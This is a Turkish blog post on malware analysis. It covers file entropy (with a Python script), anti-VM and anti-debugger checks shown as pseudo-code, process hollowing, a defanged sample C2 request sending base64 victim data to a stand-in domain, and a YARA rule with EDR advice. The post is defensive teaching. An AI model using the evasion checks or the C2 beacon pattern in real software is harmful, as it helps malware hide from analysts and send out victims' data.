Eskiden bir dosyayı VirusTotal’e atar, kırmızıyı görünce 'Tamam bu zararlı' deyip geçerdik, içimiz rahat ederdi. Hatta biraz daha meraklıysak strings çeker, içinde 'http://bad-domain.com' geçiyor mu diye bakardık. Peki ya o dosya 0/72 çıkıyorsa? Ya da daha kötüsü, dosya sadece senin şirketinin ağına girdiğinde çalışacak şekilde programlanmışsa? Artık kimse 'ben geliyorum' diyen, imza tabanlı güvenliğe yakalanan o eski usul virüslerle uğraşmıyor; trend artık tamamen 'context-aware' (bağlam duyarlı) ve analizden kaçan (anti-analysis) yapılara evrildi.
Selamlar dostlar, ben Sedat. Bugün testCompany’deki masamda kahvemi yudumlarken, son zamanlarda karşımıza çıkan o sinsi paketçiklerin (payload) nasıl incelendiğini, analizcileri nasıl çıldırttığını ve bizim bu labirentten nasıl sağ çıktığımızı biraz konuşalım istiyorum. Hazırsanız, o şüpheli .exe veya .js dosyasının içine doğru bir yolculuğa çıkalım.
Statik Analiz: İlk Bakışta Aşk mı, Yoksa Bir Tuzak mı?
Bir dosyayı asla 'koşturmadan' önce röntgenini çekmek lazım. Statik analiz, dosyanın kodunu icra etmeden yapılan incelemedir. Ama burada bizi bekleyen büyük bir düşman var: Entropy (Entropi). Eğer bir dosyanın entropisi 7.5'in üzerindeyse, bilin ki orada bir 'packing' veya 'encryption' (şifreleme) dönüyor. Yani saldırgan, asıl kodunu bir paketleyicinin arkasına saklamış.
Örneğin, bir PE (Portable Executable) dosyasının header'larına baktığımızda, UPX gibi yaygın paketleyicilerin izlerini görebiliriz. Ama sahada işler her zaman bu kadar kolay olmuyor. Özel yazılmış (custom) crypter'lar ile karşılaştığımızda, dosyanın strings çıktısı anlamsız karakter yığınından ibaret kalıyor.
Şu basit Python betiğiyle bir dosyanın ne kadar 'karışık' olduğunu anlamaya çalışabiliriz:
import math
def calculate_entropy(data):
if not data:
return 0
entropy = 0
# Dosyadaki her bir baytın olasılığını hesapla
for x in range(256):
p_x = float(data.count(x)) / len(data)
if p_x > 0:
entropy += - p_x * math.log(p_x, 2)
return entropy
# defanged_path = "sample_suspicious_file.bin"
# entropy_value = calculate_entropy(open(defanged_path, "rb").read())
# print(f"Dosya Entropisi: {entropy_value}")
Eğer bu değer 7.9 civarındaysa, o dosyanın içinde saklı bir şeyler olduğundan %99 eminiz demektir.
Dinamik Analiz: 'Kum Havuzu'nda Oyun Zamanı
Statik analizden elimiz boş döndüyse (ki genelde öyle olur), dosyayı kontrollü bir ortamda, yani bir 'Sandbox' (Kum Havuzu) içerisinde çalıştırmanın vakti gelmiştir. Ama dikkat! Modern zararlı yazılımlar artık çok 'akıllı'. İlk yaptıkları iş, 'Ben bir sanal makinede miyim?' diye kontrol etmek.
Bakın, basit bir anti-VM kontrolü pseudo-kod olarak şuna benzer:
// Temsili bir anti-VM kontrolü
void check_environment() {
if (IsDebuggerPresent()) {
// Hata ver ve çık, analizciye hiçbir şey gösterme
exit(0);
}
// Disk boyutuna bak (Sandboxlar genelde küçük disk kullanır)
if (GetDiskSpace("C:\\") < 60) {
exit(0);
}
// CPU çekirdek sayısını kontrol et (Analiz ortamları genelde 1-2 çekirdektir)
if (GetCpuCores() < 2) {
exit(0);
}
}
Saldırganlar burada durmuyor; farenin hareket edip etmediğine, sistemin çalışma süresine (uptime) hatta ekran kartının markasına bile bakıyorlar. Eğer ortam 'temiz' değilse, zararlı yazılım ya kendini siliyor ya da tamamen zararsız bir işlem (örneğin calc.exe açmak gibi) yaparak bizi kandırıyor.
Davranışsal Analiz: 'Ne Yapıyor Bu Uygulama?'
Diyelim ki tüm kontrolleri geçtik ve zararlıyı çalıştırdık. Artık odak noktamız API çağrıları. Zararlı yazılım hangi DLL'leri yüklüyor? Hangi registry anahtarlarını değiştiriyor? Ağda nereye 'ping' atıyor?
Genellikle gördüğümüz senaryo şudur: Process Hollowing. Yani meşru bir uygulama (örneğin svchost.exe) askıya alınmış (suspended) halde başlatılır, içi boşaltılır ve zararlı kod bu meşru kılıfın içine enjekte edilir. Dışarıdan baktığınızda her şey normal, ama içeride bir canavar yaşıyor.
Analiz sırasında yakalamamız gereken en kritik anlardan biri, zararlının C2 (Command & Control) sunucusuyla iletişime geçtiği andır. Şuna benzer bir ağ trafiği (defanged) görebiliriz:
POST /api/v1/update HTTP/1.1
Host: example-malicious-domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/octet-stream
[Base64 şifrelenmiş kurban verisi: IP, Hostname, Username...]
Peki, Nasıl Savunacağız?
Analiz işin mutfağı, peki biz testCompany gibi kurumlarda bu bilgiyi nasıl kullanıyoruz? Sadece 'dosyayı engelle' demek yetmiyor.
YARA Kuralları Yazmak: Statik analizde bulduğumuz o özel bayt dizilerini (patterns) YARA kurallarına dökerek ağımızdaki diğer sistemleri tarayabiliriz.
rule Detect_Suspicious_Strings { meta: description = "Potansiyel anti-analiz tekniklerini tespit eder" strings: $vm_check1 = "VBOX" $vm_check2 = "VMWare" $dbg_check = "IsDebuggerPresent" condition: 2 of them }EDR Politikalarını Sıkılaştırmak: Davranışsal analizde gördüğümüz 'Process Hollowing' gibi teknikleri EDR (Endpoint Detection and Response) üzerinde 'şüpheli davranış' olarak işaretlemeliyiz. 'Neden
explorer.exegidip depowershell.exeüzerinden uzak bir IP'ye bağlanmaya çalışıyor?' sorusunu sistemin sormasını sağlamalıyız.TTP (Tactics, Techniques, and Procedures) Analizi: Saldırganın sadece dosyasını değil, yöntemini anlamalıyız. Eğer saldırgan her seferinde
AppDataklasörü altına gizleniyorsa, o klasördeki 'exec' yetkilerini kısıtlamayı düşünmeliyiz.
Zararlı yazılım analizi, uçsuz bucaksız bir deniz. Her gün yeni bir 'packing' yöntemi, yeni bir 'evasion' tekniği çıkıyor. Önemli olan o dosyadan korkmak değil, onun dilinden anlamak ve attığı her adımı bir savunma katmanına dönüştürmek.
Bugünlük bu kadar, bir sonraki 'deep dive' yazımızda belki de bir ransomware'in şifreleme algoritmasını beraber çözeriz, kim bilir?
Kendinize iyi bakın, loglarınıza sahip çıkın!
